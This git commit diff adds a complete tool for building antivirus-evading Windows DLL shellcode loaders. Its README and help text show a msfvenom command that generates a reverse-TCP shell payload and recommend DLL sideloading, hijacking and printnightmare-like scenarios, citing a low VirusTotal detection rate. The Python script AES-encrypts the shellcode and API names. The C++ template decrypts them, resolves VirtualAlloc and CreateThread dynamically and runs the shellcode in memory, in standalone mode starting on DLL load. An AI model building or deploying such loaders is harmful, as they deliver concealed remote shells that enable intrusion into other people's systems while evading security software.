commit 2e912ce1cbfe1ddb13f86fec7c061a5f42768ce9 Author: restkhz Date: Thu Mar 13 16:23:51 2025 +0100 first commit diff --git a/README.md b/README.md new file mode 100644 index 0000000..b06f0f7 --- /dev/null +++ b/README.md @@ -0,0 +1,63 @@ +# ShellcodeEncrypt2DLL + +A script to generate AV evaded(static) DLL shellcode loader with AES encryption. + +Shellcode and API names encryption + Dynamic API loading + +Two modes: +- non-standalone: To make an encrypted DLL **WITHOUT** KEY stored in the DLL.You can use it for sideload/rundll32 but you need to pass the key. (So even if the sample is captured, the shellcode will be still difficult to recover) +- standalone: To make an encrypted DLL **WITH** KEY stored in the DLL. You can use it for sideload/hijack or in a printnightmare-like scenario. + +VT: 2/72 (13/3/2025) + +![ShellcodeEncrypt2Dll_vs_VT](https://raw.githubusercontent.com/restkhz/blogImages/main/img/屏幕截图_20250313_050702.png) + +![](https://raw.githubusercontent.com/restkhz/blogImages/main/img/屏幕截图_20250313_060155.png) + +## Usage + +You can use this on **Kali** or other linux distributions + +Dependencies: +``` +pip install pycryptodome +sudo apt install mingw-w64 +``` + + +Example: +``` +msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 x64/xor_dynamic -f raw > shellcode.raw + +python ShellcodeEncrypt2Dll.py --non-standalone shellcode.raw +or +python ShellcodeEncrypt2Dll.py --standalone shellcode.raw +``` + +Then you will get a `shell.dll` + +For non-standalone: +``` +rundll32 ,EntryPoint +``` +You can make you own exe to load this DLL with KEY as well. + +For standalone: +``` +rundll32 ,EntryPoint +``` + +As you see, standalone and non-standalone both have `EntryPoint` as export function. + + + + +Your can edit your key in the python script. + +## How does it work? + +This script will generate a header file for template.cpp, then try to compile with `x86_64-w64-mingw32-g++`. +The `shellcode` and `function names` like `VirtuallAlloc`, `CreateThread` etc will be encrypted(AES-CBC) with key. + +The standalone mode will store the key in the DLL. Decrypt itself when running. +The non-standalone mode needs your key as a parameter to decrypt itself when running. diff --git a/ShellcodeEncrypt2Dll.py b/ShellcodeEncrypt2Dll.py new file mode 100644 index 0000000..c61dfad --- /dev/null +++ b/ShellcodeEncrypt2Dll.py @@ -0,0 +1,130 @@ +import sys +import os +from Crypto.Cipher import AES +from os import urandom +import hashlib +import argparse +import subprocess + +# PUT YOUR KEY HERE!!! +KEY = "blog.restkhz.com" +KEY = KEY.encode() + +strVirtualAlloc = "VirtualAlloc\0" +strRtlMoveMemory = "RtlMoveMemory\0" +strCreateThread = "CreateThread\0" +strVirtualProtect = "VirtualProtect\0" + +JPG_HEAD = b''.fromhex('ffd8ff') +JPG_TAIL = b''.fromhex('ffd9') # 00 not in the jpg magic number but just in case + + +funcList = [strVirtualAlloc, strRtlMoveMemory, strCreateThread, strVirtualProtect] + +def pad(s): + block_size = AES.block_size + padding = block_size - len(s) % block_size + return s + bytes([padding] * padding) + + +def aesenc(plaintext, key): + k = hashlib.sha256(key).digest() + IV = urandom(16) + plaintext = pad(plaintext) + cipher = AES.new(k, AES.MODE_CBC, IV) + + return IV + cipher.encrypt(plaintext) + + +def makeHeaderFile(payload): + encKey = f'#define KEY { ', '.join('0x{:02x}'.format(b) for b in bytearray(KEY))}\n' + + # payload + encPayload = f'#define PAYLOAD {', '.join('0x{:02x}'.format(b) for b in JPG_HEAD + aesenc(payload, KEY) + JPG_TAIL)}\n' + + print(encKey, end='') + print(encPayload, end='') + + # funcName + print("\nEncrypting functions:\n") + encFuncList = [] + for f in funcList: + encFunc = f'#define {f.upper().rstrip('\0')} {', '.join(('0x{:02x}'.format(b) for b in JPG_HEAD + aesenc(f.encode(), KEY) + JPG_TAIL))}\n' + print(encFunc, end='') + encFuncList.append(encFunc) + + # payload and funcname offset + offsetHead = f'#define OFFSET_HEAD {str(len(JPG_HEAD))}\n' + offsetTail = f'#define OFFSET_TAIL {str(len(JPG_TAIL))}\n' + + f = open("shellcode.h","w") + f.write(encKey+encPayload + offsetHead + offsetTail +''.join(encFuncList)) + f.close() + +# x86_64-w64-mingw32-gcc template.cpp --shared -o test_ns.dll -lcrypt32 -O2 -fvisibility=hidden -Wl,--dynamicbase -Wl,--nxcompat -DNDEBUG -s +def main(): + parser = argparse.ArgumentParser( + description="""To generate static AV evaded DLL shellcode loader with AES encrypt. + +Example: + +msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 x64/xor_dynamic -f raw > shellcode.raw + +python ShellcodeEncrypt2Dll.py --non-standalone shellcode.raw +or +python ShellcodeEncrypt2Dll.py --standalone shellcode.raw +""", + formatter_class=argparse.RawDescriptionHelpFormatter + ) + + mode_group = parser.add_mutually_exclusive_group(required=True) + mode_group.add_argument( + '--standalone', + action='store_true', + help='To make an encrypted DLL WITH KEY stored in the DLL. You can use it for sideload/hijack or in a printnightmare-like scenario.' + ) + mode_group.add_argument( + '--non-standalone', + action='store_true', + help='To make an encrypted DLL WITHOUT KEY stored in the DLL. You can use it for sideload/rundll32 but you need to pass the key.' + ) + + parser.add_argument( + 'path', + type=str, + help='Path to shellcode file.' + ) + + args = parser.parse_args() + + f= open(args.path, 'rb') + payload = f.read() + makeHeaderFile(payload) + + if args.standalone: + print("STANDALONE mode") + command = ['x86_64-w64-mingw32-g++', 'template.cpp', '--shared', '-O2', '-fvisibility=hidden', '-DSTANDALONE', '-Wl,--dynamicbase', '-Wl,--nxcompat', '-DNDEBUG', '-s', '-o', 'shell.dll'] + print("You can use it for sideload/hijack or in a printnightmare-like scenario.") + print("Or just simply: rundll32 ,EntryPoint") + + elif args.non_standalone: + print("NON-STANDALONE mode:") + command = ['x86_64-w64-mingw32-g++', 'template.cpp', '--shared', '-O2', '-fvisibility=hidden', '-Wl,--dynamicbase', '-Wl,--nxcompat', '-DNDEBUG', '-s', '-o', 'shell.dll'] + print(f"Try to run on target: rundll32 ,EntryPoint {KEY.decode()}") + try: + print("[+] Compiling") + result = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) + if result.returncode != 0: + print("[-] Compile Failure:") + print(result.stderr) + else: + print("[+] Done: shell.dll") + print(result.stdout) + + except FileNotFoundError: + print("[-] x86_64-w64-mingw32-gcc didn't work out properly or wasn't found.\nTry: \"sudo apt install mingw-w64\"") + sys.exit(1) + + +if __name__ == '__main__': + main() diff --git a/template.cpp b/template.cpp new file mode 100644 index 0000000..ee5df1d --- /dev/null +++ b/template.cpp @@ -0,0 +1,216 @@ +#include +#include +#include +#include +#include "shellcode.h" + +#pragma comment(lib, "crypt32.lib") +#pragma comment(lib, "user32.lib") + +typedef LPVOID (WINAPI *pVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD); +typedef VOID (WINAPI *pRtlMoveMemory)(PVOID, const VOID*, SIZE_T); +typedef HANDLE (WINAPI *pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); +typedef BOOL (WINAPI *pVirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD); + +pVirtualAlloc dynVirtualAlloc = NULL; +pRtlMoveMemory dynMoveMemory = NULL; +pCreateThread dynCreateThread = NULL; +pVirtualProtect dynVirtualProtect = NULL; + +#ifdef STANDALONE +#define USE_HEADER_KEY +#endif + + +void DecryptAES(char* shellcode, DWORD shellcodeLen, char* key, DWORD keyLen) { + HCRYPTPROV hProv; + HCRYPTHASH hHash; + HCRYPTKEY hKey; + + // extract IV + BYTE iv[16]; + + char *originalShellcode = shellcode; + shellcode += OFFSET_HEAD; + + memcpy(iv, shellcode, 16); + char *cipherText = shellcode + 16; + DWORD cipherTextLen = shellcodeLen - 16 - OFFSET_HEAD - OFFSET_TAIL; + + if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { + return; + } + if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) { + CryptReleaseContext(hProv, 0); + return; + } + if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) { + CryptDestroyHash(hHash); + CryptReleaseContext(hProv, 0); + return; + } + if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) { + CryptDestroyHash(hHash); + CryptReleaseContext(hProv, 0); + return; + } + + // IV + if (!CryptSetKeyParam(hKey, KP_IV, iv, 0)) { + CryptDestroyKey(hKey); + CryptDestroyHash(hHash); + CryptReleaseContext(hProv, 0); + return; + } + + // Decrypt + if (!CryptDecrypt(hKey, 0, TRUE, 0, (BYTE*)cipherText, &cipherTextLen)) { + CryptDestroyKey(hKey); + CryptDestroyHash(hHash); + CryptReleaseContext(hProv, 0); + return; + } + + memmove(originalShellcode, cipherText, cipherTextLen); + if(cipherTextLen < shellcodeLen) + originalShellcode[cipherTextLen] = '\0'; + + CryptDestroyKey(hKey); + CryptDestroyHash(hHash); + CryptReleaseContext(hProv, 0); +} + + +BOOL InitDynamicFunctions(char* key, DWORD keyLen) { + HMODULE hKernel32 = GetModuleHandleA("kernel32.dll"); + + unsigned char VA[] = {VIRTUALALLOC}; + unsigned char RMM[] = {RTLMOVEMEMORY}; + unsigned char CT[] = {CREATETHREAD}; + unsigned char VP[] = {VIRTUALPROTECT}; + + DecryptAES((char*)VA, sizeof(VA), key, keyLen); + DecryptAES((char*)RMM, sizeof(RMM), key, keyLen); + DecryptAES((char*)CT, sizeof(CT), key, keyLen); + DecryptAES((char*)VP, sizeof(VP), key, keyLen); +/* + MessageBoxA(NULL, (char*)VA, "Decrypted VA", MB_OK); + MessageBoxA(NULL, (char*)RMM, "Decrypted RMM", MB_OK); + MessageBoxA(NULL, (char*)CT, "Decrypted CT", MB_OK); + MessageBoxA(NULL, (char*)VP, "Decrypted VP", MB_OK); +*/ + + dynVirtualAlloc = (pVirtualAlloc)GetProcAddress(hKernel32, (char*)VA); + dynMoveMemory = (pRtlMoveMemory)GetProcAddress(hKernel32, (char*)RMM); + dynCreateThread = (pCreateThread)GetProcAddress(hKernel32, (char*)CT); + dynVirtualProtect = (pVirtualProtect)GetProcAddress(hKernel32, (char*)VP); + + if (!dynVirtualAlloc || !dynMoveMemory || !dynCreateThread || !dynVirtualProtect) { + MessageBoxA(NULL, "Dyn init failed", "Error", MB_OK | MB_ICONERROR); + return FALSE; + } + return TRUE; +} + +#ifdef USE_HEADER_KEY +void CALLBACK run(void) { + unsigned char key[] = { KEY }; + DWORD keyLen = sizeof(key); + + unsigned char payload[] = { PAYLOAD }; + DWORD payloadLen = sizeof(payload); + + if (!InitDynamicFunctions((char*)key, keyLen)) { + return; + } + + LPVOID allocMem = dynVirtualAlloc(NULL, payloadLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (!allocMem) { + return; + } + + DecryptAES((char*)payload, payloadLen, (char*)key, keyLen); + dynMoveMemory(allocMem, payload, payloadLen); + + DWORD oldProtect; + if (!dynVirtualProtect(allocMem, payloadLen, PAGE_EXECUTE_READ, &oldProtect)) { + return; + } + + HANDLE tHandle = dynCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)allocMem, NULL, 0, NULL); + if (!tHandle) { + return; + } + WaitForSingleObject(tHandle, INFINITE); + ((void(*)())allocMem)(); +} +#else +void CALLBACK run(char* key, DWORD keyLen) { + unsigned char payload[] = { PAYLOAD }; + DWORD payloadLen = sizeof(payload); + + if (!InitDynamicFunctions((char*)key, keyLen)) { + free(key); + return; + } + + LPVOID allocMem = dynVirtualAlloc(NULL, payloadLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (!allocMem) { + free(key); + return; + } + + DecryptAES((char*)payload, payloadLen, (char*)key, keyLen); + dynMoveMemory(allocMem, payload, payloadLen); + + DWORD oldProtect; + if (!dynVirtualProtect(allocMem, payloadLen, PAGE_EXECUTE_READ, &oldProtect)) { + free(key); + return; + } + + HANDLE tHandle = dynCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)allocMem, NULL, 0, NULL); + if (!tHandle) { + free(key); + return; + } + WaitForSingleObject(tHandle, INFINITE); + ((void(*)())allocMem)(); + + free(key); +} +#endif + +// Entry for rundll32 +extern "C" __declspec(dllexport) +void CALLBACK EntryPoint(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) { +#ifdef USE_HEADER_KEY + // Mode1: standalone. KEY was coded into dll. + run(); +#else + // Mode2: key was NOT coded into dll. + run(lpszCmdLine, lstrlenA(lpszCmdLine)); +#endif +} + +#ifdef USE_HEADER_KEY +DWORD WINAPI ThreadProc(LPVOID lpParam) { + run(); + return 0; +} +#endif + +BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { + switch (ul_reason_for_call) { + case DLL_PROCESS_ATTACH: +#ifdef USE_HEADER_KEY + CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL); + break; +#endif + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return TRUE; +}